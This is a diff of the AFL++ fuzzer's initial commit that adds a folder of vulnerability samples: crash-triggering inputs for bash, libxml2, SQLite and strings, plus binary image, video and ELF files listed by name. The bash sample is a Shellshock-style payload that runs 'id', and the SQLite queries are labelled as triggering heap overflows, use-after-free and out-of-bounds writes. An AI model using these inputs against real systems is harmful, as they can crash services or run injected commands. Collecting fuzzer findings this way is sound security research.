afl++ 2.52c initial commit
1
docs/vuln_samples/bash-cmd-exec.var
Normal file
@ -0,0 +1 @@
|
||||
() { _; } >_[$($())] { id; }
|
1
docs/vuln_samples/bash-uninit-mem.var
Normal file
@ -0,0 +1 @@
|
||||
() { x() { _; }; x() { _; } <<a; }
|
BIN
docs/vuln_samples/ffmpeg-h264-bad-ptr-800m.mp4
Normal file
BIN
docs/vuln_samples/ffmpeg-h264-bad-read.mp4
Normal file
BIN
docs/vuln_samples/ffmpeg-h264-call-stack-overflow.mp4
Normal file
BIN
docs/vuln_samples/file-fpu-exception.elf
Normal file
BIN
docs/vuln_samples/firefox-bmp-leak.bmp
Normal file
After Width: | Height: | Size: 892 B |
BIN
docs/vuln_samples/firefox-chrome-leak.jpg
Normal file
After Width: | Height: | Size: 1.7 KiB |
BIN
docs/vuln_samples/firefox-gif-leak.gif
Normal file
After Width: | Height: | Size: 38 B |
BIN
docs/vuln_samples/firefox-gif-leak2.gif
Normal file
After Width: | Height: | Size: 179 B |
BIN
docs/vuln_samples/jxrlib-crash.jxr
Normal file
BIN
docs/vuln_samples/jxrlib-crash2.jxr
Normal file
BIN
docs/vuln_samples/jxrlib-crash3.jxr
Normal file
BIN
docs/vuln_samples/jxrlib-crash4.jxr
Normal file
BIN
docs/vuln_samples/lesspipe-cpio-bad-write.cpio
Normal file
BIN
docs/vuln_samples/libjpeg-sos-leak.jpg
Normal file
After Width: | Height: | Size: 642 B |
BIN
docs/vuln_samples/libjpeg-turbo-dht-leak.jpg
Normal file
After Width: | Height: | Size: 595 B |
BIN
docs/vuln_samples/libtiff-bad-write.tif
Normal file
BIN
docs/vuln_samples/libtiff-uninit-mem.tif
Normal file
BIN
docs/vuln_samples/libtiff-uninit-mem2.tif
Normal file
BIN
docs/vuln_samples/libtiff-uninit-mem3.tif
Normal file
BIN
docs/vuln_samples/libtiff-uninit-mem4.tif
Normal file
3
docs/vuln_samples/libxml2-bad-read.xml
Normal file
@ -0,0 +1,3 @@
|
||||
<!DOCTYPEd[<!ENTITY
|
||||
S ""><!ENTITY %
|
||||
N "<!ELEMENT<![INCLUDE0"<!ENTITYL%N;
|
BIN
docs/vuln_samples/msie-dht-leak.jpg
Normal file
After Width: | Height: | Size: 876 B |
BIN
docs/vuln_samples/msie-jxr-mem-leak.jxr
Normal file
BIN
docs/vuln_samples/msie-png-mem-leak.png
Normal file
After Width: | Height: | Size: 293 B |
BIN
docs/vuln_samples/msie-tiff-mem-leak.tif
Normal file
BIN
docs/vuln_samples/msie-zlib-dos.png
Normal file
After Width: | Height: | Size: 434 B |
BIN
docs/vuln_samples/openssl-null-ptr.der
Normal file
BIN
docs/vuln_samples/openssl-null-ptr2.der
Normal file
BIN
docs/vuln_samples/photoshop-mem-leak.jpg
Normal file
After Width: | Height: | Size: 996 B |
2
docs/vuln_samples/sqlite-bad-free.sql
Normal file
@ -0,0 +1,2 @@
|
||||
create table t0(o CHar(0)CHECK(0&O>O));insert into t0
|
||||
select randomblob(0)-trim(0);
|
1
docs/vuln_samples/sqlite-bad-ptr.sql
Normal file
@ -0,0 +1 @@
|
||||
SELECT 0 UNION SELECT 0 ORDER BY 1 COLLATE"""""""";
|
1
docs/vuln_samples/sqlite-bad-ptr2.sql
Normal file
@ -0,0 +1 @@
|
||||
PRAGMA foreign_keys=1;CREATE TABLE t1("""0"PRIMARY KEy REFERENCES t1 ON DELETE SET NULL);REPLACE INTO t1 SELECT(0);
|
BIN
docs/vuln_samples/sqlite-bad-ptr3.sql
Normal file
2
docs/vuln_samples/sqlite-heap-overflow.sql
Normal file
@ -0,0 +1,2 @@
|
||||
DROP TABLE IF EXISTS t;CREATE VIRTUAL TABLE t0 USING fts4();insert into t0 select zeroblob(0);SAVEPOINT O;insert into t0
|
||||
select(0);SAVEPOINT E;insert into t0 SELECT 0 UNION SELECT 0'x'ORDER BY x;
|
1
docs/vuln_samples/sqlite-heap-overwrite.sql
Normal file
1
docs/vuln_samples/sqlite-negative-memset.sql
Normal file
@ -0,0 +1 @@
|
||||
SELECT*from(select"",zeroblob(0),zeroblob(1E9),zeroblob(0),zeroblob(150000000),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(1E9),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0)),(select"",zeroblob(1E9),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(1E9),(0),zeroblob(150000000),(0),zeroblob(0),(0)EXCEPT select zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0),zeroblob(0));
|
2
docs/vuln_samples/sqlite-null-ptr1.sql
Normal file
@ -0,0 +1,2 @@
|
||||
create table t0(t);insert into t0
|
||||
select strftime();
|
1
docs/vuln_samples/sqlite-null-ptr10.sql
Normal file
@ -0,0 +1 @@
|
||||
SELECT fts3_tokenizer(@0());
|
1
docs/vuln_samples/sqlite-null-ptr11.sql
Normal file
@ -0,0 +1 @@
|
||||
select''like''like''like#0;
|
1
docs/vuln_samples/sqlite-null-ptr12.sql
Normal file
@ -0,0 +1 @@
|
||||
PRAGMA e;select lower(0);select lower(0)"a",""GROUP BY a ORDER BY a;
|
1
docs/vuln_samples/sqlite-null-ptr13.sql
Normal file
@ -0,0 +1 @@
|
||||
WITH x AS(SELECT*FROM t)SELECT""EXCEPT SELECT 0 ORDER BY 0 COLLATE"";
|
1
docs/vuln_samples/sqlite-null-ptr14.sql
Normal file
@ -0,0 +1 @@
|
||||
CREATE VIRTUAL TABLE x USING fts4();VALUES(0,0),(0,0),(0,0),(0,0);PRAGMA writable_schema=ON;UPDATE sqlite_master SET sql=''WHERE name='';UPDATE sqlite_master SET sql='CREATE table t(d CHECK(T(#0)';SAVEPOINT K;SAVEPOINT T;SAVEPOINT T;ANALYZE;ROLLBACK;SAVEPOINT E;DROP TABLE IF EXISTS t;
|
1
docs/vuln_samples/sqlite-null-ptr15.sql
Normal file
@ -0,0 +1 @@
|
||||
CREATE VIRTUAL TABLE t4 USING fts4(0,b,c,notindexed=0);INSERT INTO t4 VALUES('','','0');BEGIN;INSERT INTO t4 VALUES('','','0');INSERT INTO t4(t4)VALUES('integrity-check');
|
1
docs/vuln_samples/sqlite-null-ptr2.sql
Normal file
@ -0,0 +1 @@
|
||||
DETACH(select group_concat(q));
|
1
docs/vuln_samples/sqlite-null-ptr3.sql
Normal file
@ -0,0 +1 @@
|
||||
select(select strftime());
|
1
docs/vuln_samples/sqlite-null-ptr4.sql
Normal file
@ -0,0 +1 @@
|
||||
select n()AND+#00;
|
1
docs/vuln_samples/sqlite-null-ptr5.sql
Normal file
@ -0,0 +1 @@
|
||||
select e.*,0 from(s,(L))e;
|
1
docs/vuln_samples/sqlite-null-ptr6.sql
Normal file
@ -0,0 +1 @@
|
||||
PRAGMA encoding='UTF16';CREATE VIRTUAL TABLE <EFBFBD> USING s;
|
1
docs/vuln_samples/sqlite-null-ptr7.sql
Normal file
@ -0,0 +1 @@
|
||||
CREATE VIRTUAL TABLE t USING fts4(tokenize=);
|
1
docs/vuln_samples/sqlite-null-ptr8.sql
Normal file
@ -0,0 +1 @@
|
||||
CREATE TABLE p(a UNIQUE,PRIMARY KEY('a'))WITHOUT rowid;
|
1
docs/vuln_samples/sqlite-null-ptr9.sql
Normal file
@ -0,0 +1 @@
|
||||
CREATE TABLE t0(z);WITH d(x)AS(SELECT*UNION SELECT 0)INSERT INTO t0 SELECT 0 FROM d;
|
1
docs/vuln_samples/sqlite-oob-read.sql
Normal file
@ -0,0 +1 @@
|
||||
create table t0(<EFBFBD> DEFAULT(0=0)NOT/**/NULL);REPLACE into t0 select'';
|
6
docs/vuln_samples/sqlite-oob-write.sql
Normal file
@ -0,0 +1,6 @@
|
||||
CREATE VIRTUAL TABLE t0 USING fts4(x,order=DESC);
|
||||
INSERT INTO t0(docid,x)VALUES(-1E0,'0(o');
|
||||
INSERT INTO t0 VALUES('');
|
||||
INSERT INTO t0 VALUES('');
|
||||
INSeRT INTO t0 VALUES('o');
|
||||
SELECT docid FROM t0 WHERE t0 MATCH'"0*o"';
|
1
docs/vuln_samples/sqlite-stack-buf-overflow.sql
Normal file
@ -0,0 +1 @@
|
||||
SELECT printf('%*.*f',90000||006000000&6600000000,00000000000000000909000000000000.0000000000000000)""WHERE"">"";
|
1
docs/vuln_samples/sqlite-stack-exhaustion.sql
Normal file
@ -0,0 +1 @@
|
||||
CREATE VIRTUAL TABLE t0 USING fts4(content=t0);
|
1
docs/vuln_samples/sqlite-unint-mem.sql
Normal file
@ -0,0 +1 @@
|
||||
REATE VIRTUAL TABLE t0 USING fts4(prefix=0);INSERT INTO t0 VALUES(0);
|
1
docs/vuln_samples/sqlite-use-after-free.sql
Normal file
@ -0,0 +1 @@
|
||||
create table t(s);PRAGMA writable_schema=ON;UPDATE sqlite_master SET sql='ANALYZE;CREATE VIRTUAL TABLE t USING fts3;DROP TABLE t;DROP TABLE EXISTS t';PRAGMA r;SAVEPOINT T;ANALYZE;ROLLBACK;SAVEPOINT E;DROP TABLE IF EXISTS t;
|
BIN
docs/vuln_samples/strings-bfd-badptr.elf
Normal file
BIN
docs/vuln_samples/strings-bfd-badptr2.elf
Normal file
3
docs/vuln_samples/strings-stack-overflow
Normal file
@ -0,0 +1,3 @@
|
||||
$$@$$$@$o
|
||||
S<EFBFBD><EFBFBD>o
|
||||
S<EFBFBD><EFBFBD>
|